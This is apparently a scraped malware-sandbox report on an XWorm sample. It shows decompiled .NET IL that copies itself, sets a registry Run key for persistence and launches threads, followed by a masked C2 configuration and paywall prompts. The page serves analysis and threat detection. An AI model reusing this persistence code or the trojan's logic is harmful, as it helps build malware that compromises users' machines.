newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_6
ldloc.s V_6
callvirt System.Void System.IO.FileInfo::Delete()
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.0 <null>
ldsfld System.String Stub.hBagzG0wV5mIXErDhu::6RslnJEf76aZJnWoJj
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
leave.s IL_019F: call My.IAnW5j5VFLw2qzrRHp7NAPUnvgMT5HWMRqX4l63s1eQhAAlAr0e0BsGfex5lJgyspLAEFM7ZLeJr My.aDP48J6H8XrYvp7LrQMgiP03eCQl6kNLIwhRxnMVHeTGEmNxcxixITvrKDAsixTcE1vPrGIC4vDU::2TQOb37n1XG0DvaLPynonFuOHxg7QtzQThin50QhpUaIU1TanRthKqaMH4q0qOTTaz6egHcoPml9()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_7
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_019F: call My.IAnW5j5VFLw2qzrRHp7NAPUnvgMT5HWMRqX4l63s1eQhAAlAr0e0BsGfex5lJgyspLAEFM7ZLeJr My.aDP48J6H8XrYvp7LrQMgiP03eCQl6kNLIwhRxnMVHeTGEmNxcxixITvrKDAsixTcE1vPrGIC4vDU::2TQOb37n1XG0DvaLPynonFuOHxg7QtzQThin50QhpUaIU1TanRthKqaMH4q0qOTTaz6egHcoPml9()
call My.IAnW5j5VFLw2qzrRHp7NAPUnvgMT5HWMRqX4l63s1eQhAAlAr0e0BsGfex5lJgyspLAEFM7ZLeJr My.aDP48J6H8XrYvp7LrQMgiP03eCQl6kNLIwhRxnMVHeTGEmNxcxixITvrKDAsixTcE1vPrGIC4vDU::2TQOb37n1XG0DvaLPynonFuOHxg7QtzQThin50QhpUaIU1TanRthKqaMH4q0qOTTaz6egHcoPml9()
callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry()
callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser()
ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::2IfNnaOiy69kaToza9o4EU4VDjDGVnPDHp5D8BSJjhFWJ8yobEz5QpTOrOggV1m0tUWdLrFa13wA
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldloc.0 <null>
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
leave.s IL_01DA: call System.Void Stub.AMcuGI3rOvHQ3Exh0M::VTksThCewUdKxEc9d7()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_8
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_01DA: call System.Void Stub.AMcuGI3rOvHQ3Exh0M::VTksThCewUdKxEc9d7()
call System.Void Stub.AMcuGI3rOvHQ3Exh0M::VTksThCewUdKxEc9d7()
call System.Void Stub.hBagzG0wV5mIXErDhu::EQAdLBLnv2vzlQdY3L()
call System.String Stub.NtGxU1XFfqSZZ6EfDU::oUPy2cZVHblOUsNsmt()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_01F5: call System.Void Stub.5ldV0p9r1N2bKfFbka::b8n9U9RbnrXkzA9dZv()
call System.Void Stub.AC11IsYTIPKiKaLCKI::Ip9Ym1W3nFQkj4BXz4()
call System.Void Stub.5ldV0p9r1N2bKfFbka::b8n9U9RbnrXkzA9dZv()
ldnull <null>
ldftn System.Void Stub.5ldV0p9r1N2bKfFbka::Bw5X6x3aCOdOxQJEcV()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.5ldV0p9r1N2bKfFbka::YkFMCaC7TmKr9lf9yt()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>
Mutex MUTEXmalicious
sCWLnhuhuhuhuhuhuhu
CnC CNCmalicious
least-huhuhuhuhuhuhu
Port PORTmalicious
1huhuhuhu
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential
1 malicious · 11 files
EXE3395ab594ad8d87e396e4c92ee781bd1XWorm
Structure
Config. Field Value
Mutex sCWLnhuhuhuhuhuhuhu
Hosts least-huhuhuhuhuhuhu
Port 1huhuhuhu
KEY <12huhuhuhu
USBNM <Xwhuhuhuhu
LoggerPath %Thuhuhuhu
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Mutex MUTEXmalicious
sCWLnhuhuhuhuhuhuhu
3395ab594ad8d87e396e4c92ee781bd1
CnC CNCmalicious
least-huhuhuhuhuhuhu
3395ab594ad8d87e396e4c92ee781bd1
Port PORTmalicious
1huhuhuhu
3395ab594ad8d87e396e4c92ee781bd1
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential
Sign in or create a free account to view the matching YARA rules. Create a free account
An error has occurred. This application may no longer respond until reloaded. Reload 🗙